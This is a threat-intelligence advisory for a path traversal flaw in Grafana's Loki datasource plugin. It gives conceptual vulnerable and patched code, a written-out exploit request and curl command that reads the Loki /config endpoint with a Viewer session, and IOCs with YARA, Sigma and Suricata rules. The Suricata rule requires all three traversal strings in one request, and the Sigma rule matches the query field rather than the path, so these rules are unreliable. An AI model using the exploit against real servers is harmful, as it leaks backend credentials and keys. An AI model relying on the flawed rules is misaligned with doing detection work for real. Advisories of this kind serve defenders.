CVE-2026-42129

Executive Summary

CVE-2026-42129 is a path traversal vulnerability in the Grafana Loki datasource plugin's callResource handler. An authenticated attacker with a Viewer-role can bypass the plugin's resource sandbox and access administrative Loki endpoints such as /config, /services, and /ready. This allows extraction of sensitive backend configuration and internal service information, leading to a high confidentiality impact. The vulnerability has a CVSS score of 7.7, indicating a significant threat to Grafana deployments using the Loki datasource plugin.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Grafana ecosystem. The Loki datasource plugin is a core component of Grafana, and the vulnerability lies in its resource handling logic. Organizations should verify the integrity of their Grafana installation and ensure no unauthorized modifications have been made to the plugin files.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Viewer role)
• User Interaction: None
• Scope: Changed (vulnerability allows access to resources beyond the plugin's sandbox)
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is high due to the low privileges required and the potential for significant information disclosure. An attacker can extract sensitive configuration data, which may include credentials, API keys, and internal network details.

Deep Dive & Mechanics

The vulnerability exists in the callResource handler of the Grafana Loki datasource plugin. This handler is responsible for proxying requests to the Loki backend. Due to insufficient input validation, an attacker can craft a request with path traversal sequences (e.g., ../) to escape the intended resource path and access administrative endpoints on the Loki server.

The Loki server exposes several administrative endpoints:

• /config: Returns the full configuration of the Loki instance, including sensitive data like authentication tokens, database credentials, and encryption keys.
• /services: Lists all running services and their status.
• /ready: Indicates the readiness of the Loki instance.

By accessing these endpoints, an attacker can gather intelligence about the infrastructure, potentially leading to further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable handler that does not sanitize the path
function callResource(req, res) {
    const path = req.params.path;
    // Directly uses the path without validation
    const url = `http://loki-backend/${path}`;
    proxyRequest(url, req, res);
}

Patched Code (Conceptual):

// Patched handler with path validation
function callResource(req, res) {
    const path = req.params.path;
    // Validate that the path does not contain traversal sequences
    if (path.includes('..') || path.startsWith('/')) {
        return res.status(400).send('Invalid path');
    }
    const url = `http://loki-backend/${path}`;
    proxyRequest(url, req, res);
}

The patched code adds a check to reject any path containing .. or starting with /, preventing traversal attacks.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Grafana instance with the Loki datasource plugin configured.
• An authenticated user with Viewer role.

Exploitation Steps:

1. Identify the Grafana instance and obtain a valid session cookie or API token for a Viewer user.
2. Craft a request to the vulnerable endpoint:

   GET /api/datasources/proxy/<datasource-id>/../config HTTP/1.1
   Host: grafana.example.com
   Cookie: grafana_session=valid_session_cookie
   

3. The server will return the Loki configuration, including sensitive data.

Example using cURL:

curl -v -k -X GET \
  -b "grafana_session=valid_session_cookie" \
  "https://grafana.example.com/api/datasources/proxy/1/../config"

Blue Team

Detection:

• Monitor for requests to /api/datasources/proxy/ containing path traversal sequences (../).
• Alert on access to administrative Loki endpoints (/config, /services, /ready) from Grafana.

Hunting:

• Search logs for patterns like ../config or ../services in the request URI.
• Investigate any Viewer user accessing these endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../config, ../services, or ../ready in the URI path.
  • Requests to /api/datasources/proxy/<id>/../config from low-privilege users.

• Log IOCs:

  • Grafana access logs showing GET /api/datasources/proxy/1/../config with a 200 response.
  • Loki logs showing requests to /config from the Grafana IP.

• File IOCs:

  • Unauthorized access to Loki configuration files (if accessible).

Detection Engineering

YARA Rule

rule CVE_2026_42129_Grafana_Loki_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Grafana Loki datasource plugin"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-42129"
    strings:
        $traversal1 = "../config"
        $traversal2 = "../services"
        $traversal3 = "../ready"
        $traversal4 = "..%2fconfig"
        $traversal5 = "..%2fservices"
        $traversal6 = "..%2fready"
    condition:
        any of ($traversal*)
}

Sigma Rule

title: CVE-2026-42129 Grafana Loki Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against Grafana Loki datasource plugin
author: Valters IT
date: 2026/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42129
logsource:
    category: webserver
    product: grafana
detection:
    selection:
        cs-uri-query|contains:
            - '../config'
            - '../services'
            - '../ready'
            - '..%2fconfig'
            - '..%2fservices'
            - '..%2fready'
    condition: selection
falsepositives:
    - Legitimate administrative access (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-42129 Grafana Loki Path Traversal"; flow:to_server,established; content:"/api/datasources/proxy/"; http_uri; content:"../config"; http_uri; distance:0; content:"../services"; http_uri; distance:0; content:"../ready"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Loki datasource plugin if not essential.
2. Restrict network access to the Grafana instance to trusted IPs only.
3. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.

Long-term Fix:

• Apply the official patch from Grafana once available.
• Upgrade to a patched version of the Loki datasource plugin.
• Conduct a security review of all Grafana plugins.

Compensating Controls:

• Enforce strict RBAC to limit Viewer role permissions.
• Monitor and audit all API requests to the datasource proxy endpoint.
• Use network segmentation to isolate Grafana from sensitive backend services.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert